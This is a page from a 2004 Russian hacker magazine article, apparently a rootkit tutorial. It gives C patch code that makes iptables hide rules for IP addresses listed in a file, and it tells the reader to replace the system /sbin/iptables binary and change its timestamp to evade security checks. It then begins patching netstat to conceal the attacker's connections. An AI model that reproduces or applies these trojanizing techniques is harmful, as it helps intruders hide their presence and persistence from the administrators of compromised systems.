Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #69, СЕНТЯБРЬ 2004 г.

Вооружись своим руткитом

Докучаев Дмитрий aka Forb

Xakep, номер #069, стр. 069-064-2


FILE* f;

int found = 0;

char hide_addr[20],get_addr[20];

Первая переменная указывает на структуру FILE. Она будет выполнять роль файлового дескриптора для функций fopen, fclose, fscanf и feof. Об их назначении я скажу далее. Переменная found нужна для порождения исключающего события. Если она по каким-то причинам будет отлична от нуля, значит, правило должно быть спрятано. В обычном режиме вывода found останется с дефолтным нулевым значением. И, наконец, чаровые переменные hide_addr и get_addr будут использоваться для сравнения айпишников, полученных из файла и, собственно, из правила iptables.

После описания важных переменных ищи строку кода с начальным условием if(format & FMT_LINENUMBERS). С этого момента начинается вывод правила на экран. Наша задача - перехватить его. Поэтому перед этой строчкой и расположится твой шпионский код. Прежде всего, сохраним адрес отправителя в переменную hide_addr:

sprintf(hide_addr,"%s",addr_to_dotted(&(fw-> ip.src)));

Затем откроем файл, где будет располагаться список айпишников, и проанализируем каждую строку:

f=fopen("./ipz","r");

while(!feof(f)) {

fscanf(f,"%s",get_addr);

if ((!strcmp(hide_addr,get_addr))) found = 1;

}

fclose(f);

Видно, что с помощью простой функции fscanf я сохранил строку файла ./ipz в переменную get_addr, а затем сравнил ее значение с текущим значением hide_addr. Если они совпали, правило не должно быть выведено, поэтому значение found становится равным единице.

Последней строкой патча будет условие if (found == 0). Не забудь поставить закрывающую скобку в самом конце процедуры. Затем, для красоты, можно вместо названия файла написать PATH_IP_FILE, а в начале iptables.c объявить значение макроса равным ./ipz (или указать более разумный путь). Теперь можно смело компилировать файрвол. Не забудь создать файл с исключающими адресами и проверить работу шпионского патча. Если iptables фильтрует твои правила, клади бинарник в /sbin вместо системного. И не забудь изменить дату создания файла /sbin/iptables (некоторые утилиты безопасности проверяют ее).

Сетевая невидимость

После того как ты подключился к защищенной файрволом системе, нужно позаботиться о маскировке твоего соединения. Речь идет о сетевой команде netstat (пожалуй, самая любимая команда администраторов :)). Для ее патчинга придется слить пакет под названием net-tools (http://freshmeat.net/redir/net-tools/7026/url_bz2/net-tools-1.60.tar.bz2) и немного поменять содержимое файла netstat.c. Патч к этой утилите не похож на модификацию iptables, однако я старался сделать шпионское обновление очень простым и удобным. После распаковки архива запусти команду make. Интерактивный скрипт спросит у тебя сведения о системе. Постарайся говорить ему правду :). В противном случае админу покажется немного странным, что netstat вдруг перестал выводить статистику по IPV6 и IPX-протоколам, если таковые имелись в наличии.

Назад на стр. 069-064-1  Содержание  Вперед на стр. 069-064-3